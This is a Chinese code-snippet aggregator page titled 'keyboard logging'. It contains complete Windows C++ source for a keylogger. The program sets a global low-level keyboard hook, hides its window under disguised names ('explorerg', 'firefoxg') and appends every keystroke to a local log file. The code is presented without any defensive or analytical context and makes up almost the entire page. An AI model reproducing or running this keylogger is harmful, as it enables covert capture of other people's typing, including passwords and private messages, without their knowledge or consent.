c_cpp 键盘记录

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了c_cpp 键盘记录相关的知识,希望对你有一定的参考价值。

#include <windows.h>
#include <cmath>
#include <iostream>
#include <fstream>

HWND button;
HHOOK hhkLowLevelKybd = NULL;
HWND window = NULL;
bool shift = false;

LRESULT CALLBACK onEvent(HWND handle, UINT message, WPARAM wParam, LPARAM lParam)
{
    switch (message)
    {
        case WM_CLOSE:
        {
            PostQuitMessage(0);
            return 0;
        }
    }

    return DefWindowProc(handle, message, wParam, lParam);
}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode == HC_ACTION)
    {
        KBDLLHOOKSTRUCT* kb = (KBDLLHOOKSTRUCT*)lParam;
        std::string result;
        unsigned int sc = MapVirtualKey(kb->vkCode, 0);

        sc <<= 16;
        char buff[256];
        GetKeyNameTextA(sc, buff, 256);
        result = buff;

        if (result != "Shift")
        {
            if (wParam == WM_KEYUP)
                return CallNextHookEx(hhkLowLevelKybd, nCode, wParam, lParam);
        } else {
            shift = !shift;
        }

        if (!shift)
        {
            int i = 0;

            while (buff[i] != '\0')
            {
                buff[i] = tolower(buff[i]);
                i++;
            }
        }

        result = buff;


        std::ofstream log("log.txt", std::ios_base::app);
        log << result << "\n";
    }

    return CallNextHookEx(hhkLowLevelKybd, nCode, wParam, lParam);
}


INT WINAPI WinMain(HINSTANCE instance, HINSTANCE, LPSTR, INT)
{
    std::ofstream temp("log.txt");
    temp.close();

    WNDCLASS windowClass;
    windowClass.style         = 0;
    windowClass.lpfnWndProc   = &onEvent;
    windowClass.cbClsExtra    = 0;
    windowClass.cbWndExtra    = 0;
    windowClass.hInstance     = instance;
    windowClass.hIcon         = NULL;
    windowClass.hCursor       = 0;
    windowClass.hbrBackground = reinterpret_cast<HBRUSH>(COLOR_BACKGROUND);
    windowClass.lpszMenuName  = NULL;
    windowClass.lpszClassName = TEXT("explorerg");
    RegisterClass(&windowClass);

    window = CreateWindow(TEXT("explorerg"), TEXT("firefoxg"), WS_SYSMENU, 200, 200, 660, 520, NULL, NULL, instance, NULL);

    ShowWindow(window, SW_HIDE);
    HHOOK hhkLowLevelKybd = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, 0, 0);

    MSG message;
    message.message = static_cast<UINT>(~WM_QUIT);
    while (message.message != WM_QUIT)
    {
        if (GetMessage(&message, NULL, 0, 0))
        {
            TranslateMessage(&message);
            DispatchMessage(&message);
        }
    }

    DestroyWindow(window);

    UnregisterClass(TEXT("explorerg"), instance);
    UnhookWindowsHookEx(hhkLowLevelKybd);

    return EXIT_SUCCESS;
}

以上是关于c_cpp 键盘记录的主要内容,如果未能解决你的问题,请参考以下文章

c_cpp 键盘打字 - GeeksforGeeks

c_cpp 自定义普朗克键盘映射

c_cpp Windows键盘过滤器驱动程序,使退格停止工作

c_cpp 在UISearchBar上使用空值启用键盘上的搜索按钮

c_cpp 在UISearchBar上使用空值启用键盘上的搜索按钮

c_cpp 在UISearchBar上使用空值启用键盘上的搜索按钮